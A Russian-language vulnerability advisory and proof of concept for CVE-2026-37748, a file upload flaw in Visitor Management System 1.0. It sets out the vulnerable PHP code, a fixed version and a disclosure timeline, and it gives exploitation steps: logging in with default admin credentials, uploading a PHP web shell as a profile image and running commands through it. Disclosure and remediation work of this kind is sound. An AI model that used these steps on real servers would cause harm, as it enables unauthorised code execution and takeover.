
Доказательство концепции эксплуатации для CVE-2026-37748 — уязвимости неограниченной загрузки файлов в Visitor Management System 1.0, приводящей к удалённому выполнению кода через загрузку PHP-веб-шелла.
| Поле | Информация |
|---|
| CVE ID | CVE-2026-37748 |
| Тип | Неограниченная загрузка файлов → Удалённое выполнение кода |
| Серьёзность | Высокая (CVSSv3: 7.2) |
| Поставщик | sanjay1313 |
| Продукт | Visitor Management System |
| Версия | 1.0 |
| Обнаружил | Varad AP Mene |
| Дата | 2026-04-16 |
| CWE | CWE-434 |
Критическая уязвимость неограниченной загрузки файлов существует в Visitor Management System 1.0 от sanjay1313. Функция move_uploaded_file() в vms/php/admin_user_insert.php и vms/php/update_1.php вызывается без какой-либо проверки MIME-типа, расширения файла или содержимого. Аутентифицированный администратор может загрузить PHP-веб-шелл через поле загрузки изображения и добиться удалённого выполнения кода на сервере, обратившись к загруженному файлу напрямую по URL.
CVE ID: CVE-2026-37748 CWE: CWE-434 — Неограниченная загрузка файла с опасным типом CVSSv3: 7.2 Высокая (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
Visitor Management System 1.0 — это PHP/MySQL веб-приложение от sanjay1313 на GitHub, используемое для управления записями посетителей в организациях.
URL поставщика: https://github.com/sanjay1313/Visitor-Management-System
vms/php/admin_user_insert.php vms/php/update_1.php
$image = $_FILES['image']['name'];
$tmp = $_FILES['image']['tmp_name'];
move_uploaded_file($tmp, "../images/" . $image);
Отсутствует проверка расширения файла, MIME-типа или содержимого.
Шаг 1 — Создайте файл веб-шелла shell.php:
Шаг 2 — Войдите в панель администратора: http://target/vms/ Имя пользователя: admin Пароль: admin
Шаг 3 — Загрузите shell.php как изображение профиля: Перейдите в Admin Users → Add New Admin Загрузите shell.php как фотографию профиля
Шаг 4 — Выполните команды: http://target/vms/images/shell.php?cmd=id http://target/vms/images/shell.php?cmd=whoami
// 1. Проверка расширения файла
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) {
die("Invalid file type");
}
// 2. Проверка MIME-типа
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['image']['tmp_name']);
$allowed_mime = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mime)) {
die("Invalid MIME type");
}
// 3. Переименование файла на сервере
$new_name = uniqid() . '.' . $ext;
move_uploaded_file($_FILES['image']['tmp_name'], "../images/" . $new_name);
| Дата | Событие |
|---|---|
| 2026-03-15 | Уязвимость обнаружена |
| 2026-03-15 | Сообщено в MITRE |
| 2026-04-02 | Присвоен CVE-2026-37748 |
| 2026-04-16 | Публичное раскрытие |
| 2026-04-16 | MITRE уведомлён о публикации |
| 2026-04-17 | Поставщик уведомлён через GitHub Issues |
Varad Arachana Prashant Mene